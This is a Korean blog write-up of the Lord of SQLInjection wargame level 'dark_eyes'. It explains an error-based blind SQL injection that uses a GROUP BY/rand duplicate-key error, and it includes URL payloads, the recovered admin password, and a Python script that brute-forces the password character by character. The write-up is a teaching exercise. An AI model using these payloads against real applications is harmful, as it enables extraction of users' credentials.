문제
문제 분석
pw에 "prob" , "_" , "." , "sleep" , "benchmark" , "col" , "if" , "case" , "when" 를 피해줘야 하고
id를 조회하는 쿼리가 에러가 있다면 빈 페이지가 출력되는데 이것으로 blind injection을 진행한다.
결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다.
pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다.
이전 문제들과 다르게 hello admin 없이 에러를 활용해서 password를 알아내는 것이 핵심이다
문제풀이
이문제에선 Direct Error based SQL Injection를 활용한다
Direct Error based SQL Injection
GROUP BY 등의 기능을 사용하여 에러메시지에 값을 바로 출력해줌
참고한 쿼리문:
select 1 from dual where 1 and row(1,1) > (select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);
쿼리문 분석
이 쿼리문이 에러가나는 이유는 정확히 분석하지는 못했지만 최대한 분석해 보았다.
1. GROUP BY 와 Rand을 같이쓰게된다면 특정 집합을 메모리에 올린 뒤에 GROUP BY 계산이 이루어 질텐데 RAND값이 포함되면 집합안에 어떤 값이 올지 알 수 없기 때문에 에러가 날수 있다.
2.ERROR 1062 (23000): Duplicate entry '10.1.47-MariaDB-0ubuntu0.18.04.11' for key 'group_key' 확인해본 쿼리의 에러이다.
=>이는 같은 값이 중복될때의 에러가 발생하는것인데 version과 concat으로 합친 문자열이 이미 있는것같다.
참고:www.phpschool.com/gnuboard4/bbs/board.php?bo_table=qna_db&wr_id=230929
이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행한다.
+더쉬운 쿼리문
select id from prob_dark_eyes where id='admin' and pw='' or id='admin' and (select 1 union select (1=1))#'
=> 서브쿼리에 여러줄이 나올수 없는 에러를 활용할수도 있다(1이면 앞과 뒤 둘다 1이여서 1줄이지만 false면 1과 0 값이두개라 에러가 난다.)
문제 정답
pw 길이를 알아내는 조건
URL?pw=' or id='admin' and length(pw)=1 and row(1,1)>(select count(*),concat(version( ),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) #
1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.
pw 값을 알아내는 조건
URL?pw=' or id='admin' and ord(mid(pw,1,1))=1 and row(1,1)>(select count(*),concat(version( ),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) #
pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며 1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 에러가 발생하지 않는다 만약 참이 아니라면 에러 페이지가 출력된다.
url을 조작할시 #는 %23으로 입력해줘야한다.
따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.
URL?pw=5a2f5d3c
아래의 코드를 통해 쉽게 알아낼 수 있다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
count=0
data={}
password=""
same=""
#Direct Error based SQL Injection : GROUP BY 등의 기능을 사용하여 에러메시지에 값을 바로 출력해줌
#select 1 from dual where 1=1 and row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);
#https://blog.ch4n3.kr/496
for pw_length in range(1,40):
data['pw']="' or id='admin' and length(pw)="+str(pw_length)+" and row(1,1)>(select count(*),concat(version( ),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) #"
res = requests.get(url, params=data, cookies=session)
if "include" not in res.text:
print("pw_length:"+str(pw_length))
break
for i in range(1,pw_length+1):
for j in range(32,127):
count=0
data['pw']="' or id='admin' and ord(mid(pw,"+str(i)+",1))="+str(j)+" and row(1,1)>(select count(*),concat(version( ),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) #"
res = requests.get(url, params=data, cookies=session)
if "include" not in res.text:
count=1
password+=chr(j)
print(password)
break
data['pw']=password
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 21(iron_golem) (0) | 2021.01.06 |
---|---|
LOS 20(dragon) (0) | 2021.01.05 |
LOS 19(xavis) (0) | 2021.01.05 |
LOS 18(nightmare) (0) | 2021.01.05 |
LOS 17(zombie_assassin) (0) | 2021.01.05 |